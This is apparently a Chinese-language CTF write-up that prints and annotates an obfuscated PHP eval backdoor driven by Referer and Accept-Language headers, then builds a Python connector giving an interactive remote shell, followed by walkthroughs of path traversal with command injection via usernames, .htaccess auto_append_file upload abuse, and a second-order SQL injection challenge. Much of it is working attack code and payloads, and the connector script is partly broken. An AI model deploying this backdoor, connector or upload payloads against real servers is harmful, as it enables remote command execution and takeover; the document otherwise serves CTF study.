$o = '|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N = '|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C = 'an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j = '$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R = str_replace('rO', '', 'rOcreatrOe_rOrOfurOncrOtion');
$J = 'kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x = 'r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f = str_replace('|U', '', $j . $o . $z . $x . $k . $M . $J . $q . $N . $U . $C);
echo $f;#这里
$kh = "42f7";#定义两个字符串
$kf = "e9ac";function x($t, $k)#$t的每一项和$k的每一项异或运算,然后循环拼接到输出变量$o中
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            echo $t{$i};
            $o .= $t{$i} ^ $k{$j};        }
    }
    return $o;
}
#获取服务器环境变量
$r = $_SERVER;#获取reffer头
$rr = @$r["HTTP_REFERER"];#at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。如果启用了track_errors功能,则表达式生成的错误消息将保存在变量$ php_errormsg中。每个错误都会覆盖此变量。
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];#获取浏览器语言
if ($rr && $ra) {
    #解析url
    $u = parse_url($rr);
    /*[query] => arg=value 这个是查询语句返回的数组中的键值 而下面将查询到的referer中的查询字符串解析为键值对变量,并且保存在数组$q中*/
    parse_str($u["query"], $q);
    #返回$q中的所有值
    $q = array_values($q);
    #执行全局的正则匹配表达式,将结果输出到$m数组中,这个可以单独拿出来看
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    /*/([\w])[\w-]+(?:;q=0.([\d]))?,?/
    \w匹配字母数字下划线
    [\w]匹配数字字母下划线中的任何字符
    ([\w]把匹配到的数字字母下划线放到一个分组中
    [\w-]匹配数字字母下划线与-中的任何字符
    +表示匹配一个或更多个前面的标记连起来就是匹配不止一个数字字母下划线和-
    (?:)表示非捕获分组用于单纯的把数个标记组在一起用于后面的?组合匹配
    ;q=0表示匹配;q=0这些字符
    .表示匹配任何字符不包括换行符
    ([\d])\d表示匹配任何数字0-9
    ?表示匹配0个或一个前面的标记
    (?:;q=0.([\d]))?综合起来就是匹配;q=0任意字符 数字一次但不捕获
    ,?表示匹配0次逗号或者一次逗号
     * */
    if ($q && $m) {
        #屏蔽错误并且开启一个新的session
        @session_start();
        #$s也同时可以使用$_SESSION的值 ,两个变量指向一个内容
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        #拼接前两中语言的首字母
        $i = $m[1][0] . $m[1][1];
        #在连接预定义字符串截取0-3位,在进行小写转换
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));

需要注意这个正则函数 preg_match_all() , 该函数从 Accept-Language 取值 , 然后通过正则匹配后输出到 $m 数组中 . 单独拿出来看 , $m 数组的输出内容是如下这样的 .

1646490699195

 $m[0] : 所有可选语言及其权重系数
 $m[1] : 所有可选语言的首字母
 $m[2] : 所有可选语言的权重值( 不清楚该怎么说 , 反正你能明白 )
 举个例子 : Accept-Language: zh-cn,zh;q=0.5
 
 1. Accept-Language表示浏览器所支持的语言类型 . 
 2. zh-CN 表示简体中文 , zh 表示中文 , 不同语言之间用逗号分割 .
 3. q 是权重系数 , 范围为 [0,1] . q 值越大 , 请求越倾向于获得其对应语言表示的内容 . 若没有指定 q 值,则默认为1 . 若被赋值为0 , 则用于提醒服务器该语言是浏览器不接受的内容类型 .

然后拼接了前两种可选语言的首字母 , 和预定义的字符串拼接并进行 md5 校验 , 截取等操作 . 然后赋值给 $h$f 两个变量

#$p 应该是指payload,现在还为空
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++)
            # $m[2]是语言权重的整数值
            $p .= $q[$m[2][$z]];
        #如果$p 中$h首次出现的位置在开头
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            #返回 $p 中的第四个字符到末尾的字符串(即去除$p前三个字符)
            $p = $ss($p, 3);
        }
        #查找数组$s中是否有指定键名$i,即查找$-SESSION中是否存在键名$i
        if (array_key_exists($i, $s)) {
            # $_SESSION[$i] = $_SESSION[$i] . $p
            $s[$i] .= $p;
            #$e 为$_SESSION[$i] 中$f第一次出现的位置
            $e = strpos($s[$i], $f);

循环中的 $p .= $q[$m[2][$z]] 会不断从 $q 中提取数据 . 结合之前的代码 , 攻击代码是放在 Referer 中的( 最后会放在 $q 中 ) , 因此这里可以看作是拼接攻击代码 , 组合成 Payload . ’

然后判断 h 是否出现在 P a y l o a d 的开头 , 若是则设置 ‘ h 是否出现在 Payload 的开头 , 若是则设置 ` h是否出现在Payload的开头,若是则设置_SESSION[‘$i’] = “”` , 同时删除 Payload 的 $h 部分 .

接着判断 $_SESSION 中那个是否存在 $i 这个键名 , 若是则将 Payload 赋值给 $_SESSION[$i] , 然后查找 $_SESSION[$i]( 也就是 Payload ) 中 $f 第一次出现的位置 .

 if ($e) {
                #$k = 42f7e9ac
                $k = $kh . $kf;
                ob_start();
                /*这段比较复杂
                $ss($s[i],0,$e) 先删除了$_SESSION[$i] 中的 $f.
                 preg_replace():将剩余部分中的'_'和'-'替换为'/'和'+'
                base64_decode():然后对替换后的内容进行base64解码
                x():接着对其进行那个异或加密,该函数在开头定义了
                gzuncompress():解压一个压缩字符串
                最后通过eval执行
                 * */
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                # 返回输出缓冲区内容到$o
                $o = ob_get_contents();
                #清空缓冲区并关闭输出缓冲
                ob_end_clean();
                #对缓冲区输入内容通过gzcompress()函数压缩,通过x()异或加密,通过base64编码
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                #销毁一个会话中的所有数据
                @session_destroy();
            }
        }
    }
}
$g=create_function('',$f);
$g();
?>

紧跟上面的上面的代码,若payload中找到了 f 第一次出现的位置 , ( 也就是说明 f第一次出现的位置,(也就是说明 f第一次出现的位置,(也就是说明f在payload中),就会继续执行如下过程.

  1. 生成密钥$k,该值由预定义的两个字符串拼接而成,然后打开输出控制缓冲区
  2. 截取payload中从开头到 f 出现位置的这部分字符串 ( 由此可以判断 f出现位置的这部分字符串(由此可以判断 f出现位置的这部分字符串(由此可以判断f应该是出现在payload的末尾,这里删去$f)
  3. 利用pre_replace()函数,正则替换字符串中的’_‘和’-‘为’/‘和’+’
  4. 替换后的字符串进行base64_decode解码操作
  5. 对解码后的字符串进行循环异或运算(就是调用x()函数)
  6. 对计算后的字符串调用gzuncompress()函数进行压缩
  7. 通过eval()函数执行压缩后的字符串
  8. 返回输出到缓冲区的内容,然后清空并关闭输出缓冲区
  9. 对缓冲区输出的内容通过gzcompress()函数进行压缩,再通过x()函数进行循环异或运算,最后通过base64_encode编码输出

整个后门代码的思路就是应该如上,攻击者通过referer传输攻击代码,这段攻击代码的格式应该为填充字符串+加密混淆后的payload+填充字符串.

该后门脚本接受到攻击者传送的数据包,先按照一定的顺序取出攻击代码,然后把前面两侧的填充字符串去除,拿到payload,然后对payload进行解密反混淆操作,接着通过eval函数执行攻击者指定的命令,最后通过命令执行结果加密编码呈现给攻击者

整体的解密流程还是非常清晰的,我们知道了后门是如何处理攻击者发送的恶意数据包,但是我们现在还没有连接脚本.无法构造出后门能处理的请求.因此这里需要逆向整个解密流程,以便构造出请求的数据包

逆向分析后门解密过程

我们需要根据解密流程构造出加密过程,其主要过程如下所示

  1. 定义一些变量与函数

    <?php
     $kh = "42f7";
     $kf = "e9ac";
     $k = "42f7e9ac";#$k = $kh.$kf
    $language = "en,zh-CN;q=0.9,zh;q=8,zh-TW;q=0.7";#假设的 Accept-Language
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$language,$m);#输出$m 数组
    $i = "ez";#$i = $m[1][0].$m[1][1];$m[1][0] = "e" , $m[1][1] = "z"
    $h = strtolower(substr(md5($i.$kh),0,3));
    $f = strtolower(substr(md5($i.$kf),0,3));#定义x()函数
    #由于异或运算是循环的(A ^ B ^ B = A),因此加密解密函数不变
    function x($t,$k){
        $c = strlen($k);
        $l = strlen($t);
        $o = "";
        for ($i = 0;$i < $l;){
            for ($j = 0;($j < $c && $i < $l);$j++,$i++){
                $o .= $t[$i] ^ $k[$j]; #php在7.4不在使用花括号访问数组或者字符串的偏移量需要将{}换成[]解决,这里先放着
            }
        }
        return $o;
    }
    echo x($h,$f);
    

    这里主要提一下函数x(),正如注释里写的由于 A ^ B ^ B = A这个特性,所以加密过程和机密过程的x() 是完全相同的

  2. 构造payload

    #构造payload
    $payload1 = "phpinfo()";#假设payload1为phpinfo();
    $payload2 = @gzcompress($payload1);#gzuncompress 逆向操作
    $payload3 = @x($payload2,$k);#因为是异或运算,就无所谓逆向不逆向
    $payload4 = @base64_encode($payload3);#base64-decode逆向操作
    $payload5 = preg_match(array("/\//","/\+/"),array("_","-"),$payload4); #逆向正则替换
    $payload6 = $payload5.$f;# 在末尾补齐$f
    $payload7 = $h . $payload6;#在开头补全$h
    $payload = $payload7;#根据源代码 $p .=$q[$m[2][$z]];可以看出 $payload 拼接自 $q, $p来自与 HTTP_REFERER
    #因此这里要构造 referer
    $referer = "http://example.cpm/?a=qwer&b=$payload";
    #解密时会按照一定的顺序从referer 中取出payload,但是加密过程不需要这一步
    echo $referer,PHP_EOL;
    

    结合加密过程的内容,构造的payload过程

  3. 对收到的数据包的处理

    因为后门会在eval()处理完毕后返回输出信息,且输出信息是被加密过的,因此还需要一个解密过程

    $output = "xxx";#假设这是收到的响应数据
    $o1 = base64_decode($output);
    $o2 = x($o1,$k);
    $o3 = gzuncompress($output);
    

    以上就是整个加密构造payload并接收响应数据的流程,思路还是比较简单的

    现在就需要构造出最终的连接脚本

构造构造连接脚本

  1. 因为从referer中提取的payload的殊勋依赖于Accept-Language,而不同的客户端发送的Accept-Language可能不一样,因此这里需要一个函数来辅助生成随机的可选语言及权重值

    # 用于生成随机的 Accept-Language
    import base64
    import random
    import re
    import string
    # from idlelib.debugger_r import debugging
    import urllib.parse
    import zlib
    from hashlib import md5import requests
    from urllib3.connectionpool import xrange
    def choicePart(seq, amount):
        # 获取seq的长度
        length = len(seq)
        # 如果长度等于零或者长度小于amount的值就打印错误返回空值
        if length == 0 or length < amount:
            print('Error Input')
            # 返回空值
            return None
        result = []  # 定义结果数组
        indexes = []  # 定义索引数组
        count = 0
        # 当count < amount时就
        while count < amount:
            i = random.randint(0, length - 1)
            if not i in indexes:  # 如果i不在indexes数组里面
                indexes.append(i)  # 就追加上i
                result.append(seq[i])  # result数组就追加seq的第i位字符
                count += 1  # count+一
                if count == amount:  # 如果和amount参数值相等
                    return result  # 就返回值
    # 生成随机填充字符串(由所有ASCII字符组成,可以不包括不可读的字符)
    def rand_bytes_flow(amount):
        result = ''
        for i in range(amount):  # 这里产生0 - amount 的数字
            result += chr(random.randint(0, 255))  # 返回一个随机字符串
        return result

    先判断输入的序列串是否为空,不为空就建立result数组,并循环经序列串中的值添加到result数组中,这里的序列串的是可以是可选语言,也可以是权重值,最后返回result数组

  2. 因为实际攻击代码的组成为随机填充数据+payload+随机填充数据,并且构造交互式shell也需要随机填充数据,因此这里需要创建函数来生成随机数来填充数据

    # 生成随机填充字符串(由所有ASCII字符组成,可以不包括不可读的字符)
    def rand_bytes_flow(amount):
        result = ''
        for i in range(amount):  # 这里产生0 - amount 的数字
            result += chr(random.randint(0, 255))  # 返回一个随机字符串
        return result
    # 生成随机填充字符串(有所有大小写字符组成)
    def rand_alpha(amount):
        result = ''
        for i in range(amount):
            # choice() 方法返回一个列表,元素或字符串的随机项
            # string.ascii_letters 会生成所有字母
            result += random.choice(string.ascii_letters)
        return result
    

    这里创建了两个函数,分别对应不同的情况

  3. 循环异或函数

    #模拟x()函数,循环异或加密
    def loop_xor(text,key):
        result = ''
        len_key = len(key)
        len_text = len(text)
        i = 0
        while i < len_text:
            j = 0
            while i < len_text and j < len_key:
                result += chr(ord(key[j]) ^ ord(text[i]))
                i += 1
                j += 1
        return  result
    

    代码中x()函数

  4. 开启debug

    #开启debug选项
    def debug_Print(msg):
        if debugging:
            print(msg)
    

    这个可开可不开 , 开启 Debug 有助于代码分析

  5. 定义基本变量

    # 定义基本变量
    debugging = False  # 默认关闭debug,可用true开启
    keyh = "42f7"  # $kh,需要更改
    keyf = "e9ac"  # $kf,需要更改
    xor_key = keyh + keyf  # $k异或密钥
    url = 'http://111.200.241.244:61732/hack.php'  # 指定url,需要更改
    defaultlang = 'zh-CH'  # 默认Language
    languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']  # Accept-Language 模板
    proxies = {'http': 'http://127.0.0.1:8080'}  # 代理,可用burpsuite截取
    sess = requests.Session()  # 创建一个session对象
    
  6. 生成完整的Accept-Language和payload两侧填充的随机填充空白

    # 每次会话产生一次随机的 Accept-Language
    lang_tmp = choicePart(languages, 3)  # 这里先输出了一个列表,里面包含模板中的三种Aceept-language
    indexes = sorted(choicePart(range(1, 10), 3), reverse=True)  # 首先返回了一个三个数字的数组并且按照降序进行排序 例如[8,7,2]
    accept_lang = [defaultlang]  # 先添加默认langguage
    for i in range(3):
        accept_lang.append(lang_tmp[i] % (indexes[i]))
    accept_lang_str = ','.join(accept_lang)  # 使用,连接数组中的元素使其反回一个字符串
    # accep_lang_str就是要使用的Accept-language#print(accept_lang_str)
    init2Char = accept_lang[0][0] + accept_lang[1][0]  # $i 这里的就是数组中的 字符串 所以是二维数组
    md5 = md5()
    md5.update((init2Char + keyh).encode())
    md5head = (md5.hexdigest())[0:3]  # 这块首先进行连接在返回md5值,再返回16进制的数据字符串值 在进行截取前三位
    md5.update((init2Char + keyf).encode())
    md5tail = (md5.hexdigest())[0:3] + rand_alpha(random.randint(3, 8))  # $f + 填充字符串 在进行连接随机数量的填充字符
  7. 构造payload这里有点问题在python3 中没有找到合适的函数进行解密

    # 构造payload
    # 交互式shell
    cmd = "system('" + input('shell > ') + "');"  # 其中input函数是从命令行获取标准输入并返回字符串
    while cmd != '':
        # 在写入payload前填充一些无关数据
        query = []
        for i in range(max(indexes) + 1 + random.randint(0, 2)):
            key = rand_alpha(random.randint(3, 6))
            value = base64.urlsafe_b64encode(
                (rand_bytes_flow(random.randint(3, 12))).encode()).decode()  # 转换为适合url传输的base64格式
            query.append((key, value))
        # 对payload进行加密
        payload = (zlib.compress('cmd'.encode())).decode('utf-8',errors='ignore')
        print(payload)
     # 使用zlib.compress进行压缩操作 就是compress操作而这里的cmd是字符串而非bytes类型所以使用嗯code进行编码
        payload = loop_xor(payload, xor_key)  # 进行循环异或运算,相当于PHP代码中的x函数
        payload = base64.urlsafe_b64encode(payload.encode()).decode()  # 进行url的base64编码
        payload = md5head + str(payload)
       # print(payload)# 在开头补全$h 而这里的payload 是bytes类型所以转换成str    # 对payload进行修改1
        cut_index = random.randint(2, len(payload) - 3)
        payload_pieces = (payload[0:cut_index], payload[cut_index:], md5tail)
        i_piece = 0
        for i in indexes:
            query[i] = (query[i][0], payload_pieces[i_piece])
            i_piece += 1
        # 将payload作为查询字符串编码拼接到referer中
        referer = url + '?' + urllib.parse.urlencode(query)
    

    这里的代码用于构造payload,包括添加payload两侧的随机填充数据,payload本身的加密,最终把加密混淆后的payload作为参数值传输到referer中

  8. 发送请求数据,并接收处理响应数据

    攻击代码写好了,下面仅需要发送请求并接收数据,解密后即可查看到攻击者的命令执行结果

    headers = {'Accept-Language': accept_lang_str
            , 'Referer': referer
                   }
        req = sess.get(url, headers=headers, proxies=proxies)
        #print(req.text)
        html = req.text
        # 接收响应数据包
        pattern = re.compile(r'<%s>(.*)</%s>' % (xor_key, xor_key))
        output = pattern.findall(html)
        #print(output)
        # 如果没有响应包,则对其进行处理
        if len(output) == 0:
            print('Error, no backdoor response')
            cmd = "system('" + input('shell > ') + "');"
            continue
        # 如果收到响应数据包,则对其进行处理
        output = output[0]
        output = output.encode('base64')  # base64_decode解码
        output = loop_xor(output, xor_key)  # 循环异或运算
        output = zlib.decompress(output.encode())  # geuncompress 运算
        print(output)  # 输出响应信息
        cmd = "system('" + input('shell > ') + "');"
    

    连接脚本获得数据

    1646569346034

1646569355167

目录穿越配合代码审计写wtf脚本

目录穿越得到admin的cookies得到flag1

image-20220310165825228

打开之后先点点看扫一下目录,做一下常规操作,目录没扫到有用的

image-20220310170809299

登录这里是用户名和密码分开验证的

image-20220310170313682

当用户名存在时验证密码

image-20220310170354563

这里可能存在注入这里直接sqlmap跑一下

image-20220310165749047

注册一个用户试试看,发现登录这里有用户名的回显,这里可能存在二次注入

image-20220310170543003

image-20220310170627204

newpost这里也有回显,都用sqlmap跑一下试试看image-20220310170645216

链接这里也发现一个参数

image-20220310171138942

测试了目录穿越漏洞

http://111.200.241.244:63284/post.wtf?post=./K8laH		回显正常
http://111.200.241.244:63284/post.wtf?post=../K8laH		回显错误
http://111.200.241.244:63284/post.wtf?post=../			直接爆文件了

image-20220310172544086

这里搜索一下flag

image-20220310175621958

发现在ft=wtf中存在

image-20220310181927272

这里需要是cookies是admin并且username=admin才会输出flag1!在这里发现一个users有可能存放用户信息

image-20220310182035830

这里经过尝试越权并不现实

image-20220310182914873

这里的token是含盐的,既然有token这里去源码搜一下

image-20220310183618137

回头使用目录穿越找一下users文件

image-20220310183456382

image-20220310183504934

这里发现了admin的token值,直接使用这两个值登一下

image-20220310184426501

这里登进去的页面找了一圈也没有,发现在profile下面,记得再次更改cookies登进去

Flag: xctf{cb49256d1ab48803		这里得到flag1

代码审计写wtf脚本

那2呢?

要求上传.wtf文件,就可以控制服务器
而评论功能也存在路径穿越

function reply {local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";

评论功能的后台代码,也是存在路径穿越的。

代码把用户名写在了评论文件的内容中:echo “ u s e r n a m e " > " {username}" > " username">"{next_file}”;

通过上面的分析:如果用户名是一段可执行代码,而且写入的文件是 wtf 格式的,那么这个文件就能够执行我们想要的代码。 (而且wtf.sh只运行文件扩展名为.wtf的脚本和前缀为’$'的行)先普通地评论一下,知晓评论发送的数据包的结构,在普通评论的基础上,进行路径穿越,上传后门sh.wtf

先注册一个${find,/,-iname,get_flag2}为用户名的用户

这里前面加个$是wtf文件执行命令的写法 find 所有目录下 不分大小写, get_flag2的名字的文件image-20220310191438989

到这个回复中

image-20220310191706613

image-20220310191726241

访问这个文件

%09是水平制表符,必须添加,不然后台会把我们的后门当做目录去解析。

在注册这个名字$/usr/bin/get_flag2

image-20220310191842538

image-20220310192147726

image-20220310192115662

得到第二部分的flag

149e5ec49d3c29ca}

攻防世界blgdel

目录扫描

image-20220311143036292

image-20220311143159313

打开看看

robots.txt下面发现config.txt文件打开后得到源码

<?phpclass master
{
    private $path;
    private $name;    function __construct()
    {    }    function stream_open($path)
    {/* /(.*)\/(.*)$/s
        .表示匹配任何字符包括换行符
        *表示匹配0个或者更多个前面的标记
         (.*)用来捕获分组
         \/表示匹配/字符
         .表示匹配任何字符包括换行符
          *表示匹配0个或者更多前面的标记
          (.*)表示捕获分组
          $表示匹配字符串的结尾
         s表示会匹配任何字符包括换行符
        综上表示匹配文末带有/的所有字符并以/作为分割进行捕获
    */
        if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))#如果没有匹配到就返回1
            return 1;
        $a=$array[1];#将array的第二个值赋值给a
        parse_str($array[2],$array);#将匹配到的第二个参数值进行变量的解析成变量与值的形式        if(isset($array['path']))#设置了path参数
        {
            $this->path=$array['path'];#将path值赋值给成员变量path
        }
        else
            return 1;
        if(isset($array['name']))
        {
            $this->name=$array['name'];
        }
        else
            return 1;        if($a==='upload')#如果a强等于upload
        {
            return $this->upload($this->path,$this->name);#就执行upload方法
        }
        elseif($a==='search')
        {
            return $this->search($this->path,$this->name);
        }
        else
            return 1;
    }
    function upload($path,$name)
    {
        if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
            return 1;
        /*/^uploads\/[a-z]{10}\/$/is
        ^表示匹配字符串开头
        uploads匹配upload字符串
        \/匹配/字符
        [a-z]中的任何字符总共匹配前面的十个
        \/匹配/字符
        $匹配字符串结尾
        i表示大小写不敏感
        s表示会匹配任何字符包括换行符
        综上表示匹配以uploads/十个字符/ 为开头结尾的字符串*/        $filename=$_FILES[$name]['name'];#获取上传文件的名称
        echo $filename;        $file=file_get_contents($_FILES[$name]['tmp_name']);#读取临时名字文件的值到字符串,也就是读取上传文件到字符串        $file=str_replace('<','!',$file);#替换<
        $file=str_replace(urldecode('%03'),'!',$file);
        $file=str_replace('"','!',$file);
        $file=str_replace("'",'!',$file);
        $file=str_replace('.','!',$file);
        if(preg_match('/file:|http|pre|etc/is',$file))#匹配file:或者http或者pre或者etc
        {
            echo 'illegalbbbbbb!';
            return 1;
        }        file_put_contents($path.$filename,$file);#将字符串输出并重命名为path+filename
        file_put_contents($path.'user.jpg',$file);#在输出并重命名为path+user.jpg
        echo 'upload success!';
        return 1;
    }
    function search($path,$name)
    {
        if(!is_dir($path))#如果路径不是一个目录
        {
            echo 'illegal!';
            return 1;
        }
        $files=scandir($path);#将目录下的文件全部找出来放到files数组中去
        echo '</br>';
        foreach($files as $k=>$v)#循环
        {
            if(str_ireplace($name,'',$v)!==$v)#将名字替换为空且不区分大小写如果不等于$v就输出v
            {
                echo $v.'</br>';
            }
        }        return 1;
    }    function stream_eof()
    {
        return true;
    }
    function stream_read()
    {
        return '';
    }
    function stream_stat()
    {
        return '';
    }}stream_wrapper_unregister('php');#取消这个协议
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');#注册这个协议?>

./htaccess文件禁止访问,这里服务器使用了./htaccess文件,有可能与文件上传有关

有注册有登录还有个文件上传页面,但是文件上传页面需要登录才能访问这里直接注册一个登录进去试试

上传页面有

image-20220311143841316

限制登录,这里发现在注册时

image-20220311145240736

有一个推荐人,第一次注册时填的自己,给了十分,这里多注册几个有分在去访问upload试试

这里随便上传一个一句话查找一下图片地址,发现一个目录穿越漏洞

image-20220311193531714

image-20220311193543473

发现过滤了

接着上传.htaccess文件,并将内容改为

php_value auto_append_file master://search/path=%2fhome%2f&name=flag

接着在上传php文件

image-20220311194204580

然后访问这个文件

image-20220311194237097

得到flag的名字hiahiahia_flag

在上传一个.htaccess文件

php_value auto_append_file /home/hiahiahia_flag

在上传一个php文件,接着访问这个文件

image-20220311194446674

首先进行目录扫描,搜到几个目录挨个访问得到了php源码,并发现了一个.htaccess文件,感觉像是文件上传漏洞的利用,经过简单的代码审计发现有上传点,并且有一个php协议的过滤.接着可以对本系统进行常规测试,发现没有注入,xss等常见漏洞,接着观察系统在基本功能要求之外的功能,即一个上传点(上传头像图片),和一个搜索点用于搜索以前的头像,在上传页面这里可以发现有权限问题,这里要注意前面注册时存在一个推荐人的地方,发现可以刷积分.

这里进入去文件上传发现会过滤php必要代码,也发现常见的伪协议都不能使用,但是新注册了一个master协议.根据上传文件得到了一个目录遍历漏洞,接着发现上传给每一个用户单独的目录.接着试着上传htaccess文件,其中可以写入php_value auto_prepend_file 1 这种语句,即通过上传漏洞,上传一个包含点上去,将上传漏洞变为上传+文件包含漏洞进行利用.而解饿和上传时pre为黑名单,可以想到此时的网站auto_prepend_file 为这个config.php,无法修改,无法替换增auto_prepend_file而使用php,zip等伪协议,所以接着考虑远程包含,和这个新注册的master协议,发现我们可以控制协议则可以给任意目录上传搜索文件,而协议流程和对象注入差不多,先是执行__construct,再是stream_open,upload/search,stream_read…主要是upload和search,其余方法都做l处理,而上传目录被限制了,但是我们可以通过目录遍历漏洞去找文件.

上传.htaccess,内容为php_value auto_prepend_file master://search/path={}&name={},此时注意 / 要替换为%2f,否则不能成功 接着在上传一个任意php文件,接着通过目录遍历漏洞访问.在payload为php_value auto_append_file master://search/path=%2fhome%2f&name=flag时,找到了hiahiahia_flag文件 此时在上传一个.htaccess,内容为php_value auto_append_file /home/haihaihai_flag就可以包含flag在访问php文件就可以看到falg

文件上传配合二次注入

扫目录

image-20220313165115499

下载www.tar.gz文件得到源码

xdctf.sql

SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;DROP DATABASE IF EXISTS `xdctf`;
CREATE DATABASE xdctf;
USE xdctf;DROP TABLE IF EXISTS `file`;
CREATE TABLE `file` (
  `fid` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `filename` varchar(256) NOT NULL,
  `oldname` varchar(256) DEFAULT NULL,
  `view` int(11) DEFAULT NULL,
  `extension` varchar(32) DEFAULT NULL,
  PRIMARY KEY (`fid`)
) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8;SET FOREIGN_KEY_CHECKS = 1;

这里是数据库的信息主要提供给几个关键字段,有oldname filename extension

common.inc.php

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午7:58
 */$DATABASE = array(	"host" => "127.0.0.1",
	"username" => "root",
	"password" => "ayshbdfuybwayfgby",
	"dbname" => "xdctf",
);#数据库连接的基本量$db = new mysqli($DATABASE['host'], $DATABASE['username'], $DATABASE['password'], $DATABASE['dbname']);
$req = array();foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
	foreach ($global_var as $key => $value) {
		is_string($value) && $req[$key] = addslashes($value);#值是string 并且请求中的值为addslashes的值'"\%00
	}
}define("UPLOAD_DIR", "upload/");function redirect($location) {
	header("Location: {$location}");
	exit;
}

这里是数据库的配置文件的信息,对所有的提交数据进行了addslashes转义,当开启gpc魔术方法之后会产生过滤,这里发现并没有,那么如果数据库并没有使用gkb编码的话就无法宽字节绕过,这里未知所以无法直接注入

upload

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午8:45
 */require_once "common.inc.php";if ($_FILES) {#如果是文件
	$file = $_FILES["upfile"];  #将upfile以数组形式进行返回
	if ($file["error"] == UPLOAD_ERR_OK) {#如果上传文件没有错误的话
		$name = basename($file["name"]);#得到文件的名字并将其转换为一个全路径的字符串
		$path_parts = pathinfo($name);#以数组的形式返回文件的路径为一个列表其中extension就是文件的扩展名		if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {#定义白名单,如果扩展名不在这个数组里面就退出
			exit("error extension");
		}
		$path_parts["extension"] = "." . $path_parts["extension"];#文件的扩展名前面加点		$name = $path_parts["filename"] . $path_parts["extension"];#文件名字加扩展名		// $path_parts["filename"] = $db->quote($path_parts["filename"]);
		// Fix
		$path_parts['filename'] = addslashes($path_parts['filename']);#对得到的文件名进行转义主要转义'\"%00		$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";#将文件名和扩展名进行查询		$fetch = $db->query($sql);		if ($fetch->num_rows > 0) {
			exit("file is exists");#如果匹配到行数大于0就说明问文件已经存在
		}		if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {#没找到就移动文件就上传到upload/目录下面			$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";#插入file表里面filename 0 和 extension
			$re = $db->query($sql);
			if (!$re) {
				print_r($db->error);
				exit;
			}
			$url = "/" . UPLOAD_DIR . $name;#给出url
			echo "Your file is upload, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
		} else {
			exit("upload error");
		}	} else {
		print_r(error_get_last());
		exit;
	}
}

这里是对上传的白名单,并且仅仅是上传操作,并没有转码等操作,%00无法截断的话是无法造成.php文件的,所以直接上传是无法进行利用的.

rename

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午9:39
 */require_once "common.inc.php";#加载文件一次if (isset($req['oldname']) && isset($req['newname'])) {#如果设置了老名字  设置了新名字
	$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");#从数据库查询老名字
	if ($result->num_rows > 0) {
		$result = $result->fetch_assoc();#从结果级中取一行为关联数组
	} else {
		exit("old file doesn't exists!");
	}	if ($result) {#如果返回超过一行结果		$req['newname'] = basename($req['newname']);#reqnewname将路径中的文件名进行返回
		$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='' where `fid`={$result['fid']}");#更新名字为新名字老命自为低了那么
